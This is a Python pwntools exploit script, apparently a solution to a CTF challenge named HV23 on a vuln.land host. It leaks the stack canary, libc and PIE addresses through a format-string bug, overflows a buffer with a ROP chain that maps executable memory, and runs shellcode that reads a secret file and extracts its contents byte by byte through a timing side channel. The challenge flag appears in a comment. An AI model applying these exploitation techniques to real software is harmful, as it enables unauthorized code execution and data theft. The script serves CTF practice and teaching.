#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./pwn '--host=93feafcd-9de7-4c80-914c-1110f8a36326.rdocker.vuln.land' '--port=1337'
from pwn import *
import string

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './pwn')
# libc = ELF("/usr/lib/libc.so.6" if args.LOCAL else "./libc.so.6", checksec=False)
libc = ELF("/usr/lib/libc.so.6" if args.LOCAL else "./libc.so.6", checksec=False)

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '1a889c42-b594-4c56-8b79-ac7e45ede7b4.rdocker.vuln.land'
port = int(args.PORT or 1337)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

orig_libc_start_main = libc.symbols["__libc_start_main"]
orig_main = exe.symbols["main"]

def try_char(offset, char):
    try:
        io = start()
        io.recvuntil(b"Who should the gifts be for? ")
        io.sendline(b"%43$p|%45$p|%47$p")
        leak = io.recvline().decode()
        match = re.match(r"Processing the wishes of (.*)\|(.*)\|(.*)\n", leak)
        stack_canary = int(match[1], 16)
        libc_leak = int(match[2], 16)
        libc.address = libc_leak - orig_libc_start_main + 48
        pie_leak = int(match[3], 16)
        exe.address = pie_leak - orig_main
        # print("[+] Got stack canary:", hex(stack_canary))
        # print("[+] LIBC base:", hex(libc.address))
        # print("[+] PIE base:", hex(exe.address))
        rop = ROP([libc, exe])
        payload = b""
        payload += 264 * b"A"
        payload += p64(stack_canary)

        assert len(payload) <= 0x200
        assert b"\n" not in payload

        file_name = next(exe.search(b"secret.txt"))
        data_segment = exe.address + 0x4000
        new_segment = exe.address + 0x6000

        pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"])
        pop_rcx_ret = rop.find_gadget(["pop rcx", "ret"])
        ret         = rop.find_gadget(['ret'])

        rop.raw(ret)
        rop.raw(pop_rcx_ret)
        rop.raw(32)
        rop.raw(pop_rdi_ret)
        rop.raw(exe.symbols["gifts"])

        # (0xffffffffffffffff << 32) & 0xfff == 0
        if args.LOCAL:
            rop.raw(libc.address + 0x501f9) # shl r9, cl ; mov qword ptr [rdi], r9 ; ret
        else:
            rop.raw(libc.address + 0x54d69) # shl r9, cl ; mov qword ptr [rdi], r9 ; ret

        rop.mmap(new_segment, 0x1000, 7, 0x2|0x20) # MAP_ANONYMOUS|MAP_PRIVATE
        rop.read(0, new_segment, 100)
        rop.call(new_segment)

        payload += rop.chain()

        gifts = [payload, b"a", b"b", b"c", b"d"]
        for g in gifts:
            io.recvuntil(b"Name a wish: ")
            io.sendline(g)

        io.sendline(asm(f"""
        mov rdi, {hex(file_name)}
        xor rsi, rsi
        xor rdx, rdx
        mov rax, 2
        syscall

        mov rdi, rax
        mov rsi, {hex(data_segment)}
        mov rdx, 0x30
        xor rax, rax
        syscall

        mov rsi, {hex(data_segment)}
        add rsi, {offset}
        xor rax, rax
        mov al, {hex(ord(char))}
        mov bl, [rsi]
        cmp al, bl

        je L2
        jmp done
        L2:
        nop
        jmp L2
        done:
        nop
        """))
    except Exception as e:
        if isinstance(e, KeyboardInterrupt):
            exit(0)
        io.close()
        return try_char(offset, char)

    t1 = time.time()
    io.recvall(timeout=1.5)
    t2 = time.time()
    found = t2 - t1 >= 1.5
    io.close()
    return found

# flag = "HV23{t1m3_b4s3d_s3cr3t_exf1ltr4t10n}"
flag = ""
OFFSET = len(flag)
while True:
    found = False
    for CHAR in string.printable:
        if try_char(OFFSET, CHAR):
            flag += CHAR
            print("FOUND:", flag)
            found = True
            break

    if found:
        OFFSET += 1
        continue
    else:
        print("END")
        break